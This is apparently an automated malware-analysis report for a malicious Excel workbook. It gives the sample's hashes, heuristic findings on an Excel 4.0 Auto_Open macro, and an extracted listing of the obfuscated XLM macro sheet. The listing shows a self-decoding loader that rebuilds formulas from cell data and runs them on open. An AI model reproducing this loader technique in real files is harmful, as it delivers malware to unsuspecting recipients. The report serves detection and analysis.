Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a50a3b92833c1c1b…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:47:11 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: eb88f299cd7b902dca33bc7b06a7de8b SHA-1: 761a267a781ee1b6dd38ec712740e5dce5a2d845 SHA-256: a50a3b92833c1c1bff71099070e443eb2355c51daadd4366b42e1a71918e17b0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6531 bytes
SHA-256: 8edfd871ef32f5f212dcf5ea73cafeaa6c989c320d6f71db418cef0d6e427fe1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wJSrWCvBk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C166 
' 0018     21 LABEL : Cell Value, String Constant - BjabMO len=0 
' 0018     20 LABEL : Cell Value, String Constant - BkQuP len=0 
' 0018     20 LABEL : Cell Value, String Constant - ewbeC len=0 
' 0018     25 LABEL : Cell Value, String Constant - FwSrNkNNFJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - hozZSB len=0 
' 0018     21 LABEL : Cell Value, String Constant - IuryUI len=0 
' 0018     24 LABEL : Cell Value, String Constant - JyRNJuscx len=0 
' 0018     24 LABEL : Cell Value, String Constant - lLHVyWooP len=0 
' 0018     23 LABEL : Cell Value, String Constant - mZmLMNuf len=0 
' 0018     20 LABEL : Cell Value, String Constant - oBBxN len=0 
' 0018     27 LABEL : Cell Value, String Constant - piDqSUWyTyZo len=0 
' 0018     26 LABEL : Cell Value, String Constant - QhPqvrEVJoN len=0 
' 0018     22 LABEL : Cell Value, String Constant - qZlKzSx len=0 
' 0018     23 LABEL : Cell Value, String Constant - rRfDfTWU len=0 
' 0018     25 LABEL : Cell Value, String Constant - RuPtDHMddq len=0 
' 0018     22 LABEL : Cell Value, String Constant - shdTUzc len=0 
' 0018     26 LABEL : Cell Value, String Constant - uZfXAFVCvQq len=0 
' 0018     20 LABEL : Cell Value, String Constant - XOdvb len=0 
' 0018     24 LABEL : Cell Value, String Constant - xuahLWgrF len=0 
' 0018     20 LABEL : Cell Value, String Constant - Yjyhr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wJSrWCvBk,C75,"SET.NAME("RuPtDHMddq",VALUE("0"))",""
'  wJSrWCvBk,C77,"SET.NAME("xuahLWgrF",RuPtDHMddq)",""
'  wJSrWCvBk,C79,"SET.NAME("rRfDfTWU",RuPtDHMddq)",""
'  wJSrWCvBk,C81,"SET.NAME("BkQuP",COUNTA(hozZSB))",""
'  wJSrWCvBk,C84,"SET.NAME("mZmLMNuf",COUNTA(JyRNJuscx))",""
'  wJSrWCvBk,C89,[],""
'  wJSrWCvBk,C91,"SET.NAME("XOdvb","")",""
'  wJSrWCvBk,C95,"xuahLWgrF",""
'  wJSrWCvBk,C97,"SET.NAME("BjabMO",HLOOKUP("*",hozZSB,xuahLWgrF,FALSE))",""
'  wJSrWCvBk,C101,"piDqSUWyTyZo",""
'  wJSrWCvBk,C106,"SET.NAME("IuryUI",RuPtDHMddq)",""
'  wJSrWCvBk,C111,[],""
'  wJSrWCvBk,C116,"IuryUI",""
'  wJSrWCvBk,C121,"Yjyhr",""
'  wJSrWCvBk,C123,"ewbeC",""
'  wJSrWCvBk,C128,"FwSrNkNNFJ",""
'  wJSrWCvBk,C131,"SET.NAME("uZfXAFVCvQq",VALUE(HLOOKUP("*",JyRNJuscx,FwSrNkNNFJ,FALSE)))",""
'  wJSrWCvBk,C133,"lLHVyWooP",""
'  wJSrWCvBk,C135,"XOdvb",""
'  wJSrWCvBk,C139,"rRfDfTWU",""
'  wJSrWCvBk,C143,NEXT(),""
'  wJSrWCvBk,C146,"shdTUzc",""
'  wJSrWCvBk,C151,"SET.NAME("f",INT(T(FORMULA(T(XOdvb)&"",""&T(shdTUzc)))))",""
'  wJSrWCvBk,C154,"qZlKzSx",""
'  wJSrWCvBk,C159,NEXT(),""
'  wJSrWCvBk,C162,RETURN(),""
'  wJSrWCvBk,C191,"SET.NAME("oBBxN",C75)",""
'  wJSrWCvBk,C194,"hozZSB",""
'  wJSrWCvBk,C198,"SET.NAME("JyRNJuscx",R59C13)",""
'  wJSrWCvBk,C200,"SET.NAME("qZlKzSx",210)",""
'  wJSrWCvBk,C205,"SET.NAME("QhPqvrEVJoN",3)",""
'  wJSrWCvBk,C209,oBBxN(),""
'  wJSrWCvBk,C210,HALT(),""

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